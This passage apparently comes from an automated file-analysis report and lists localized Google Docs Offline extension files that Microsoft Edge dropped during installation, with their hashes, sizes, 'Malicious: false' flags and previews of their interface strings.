File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
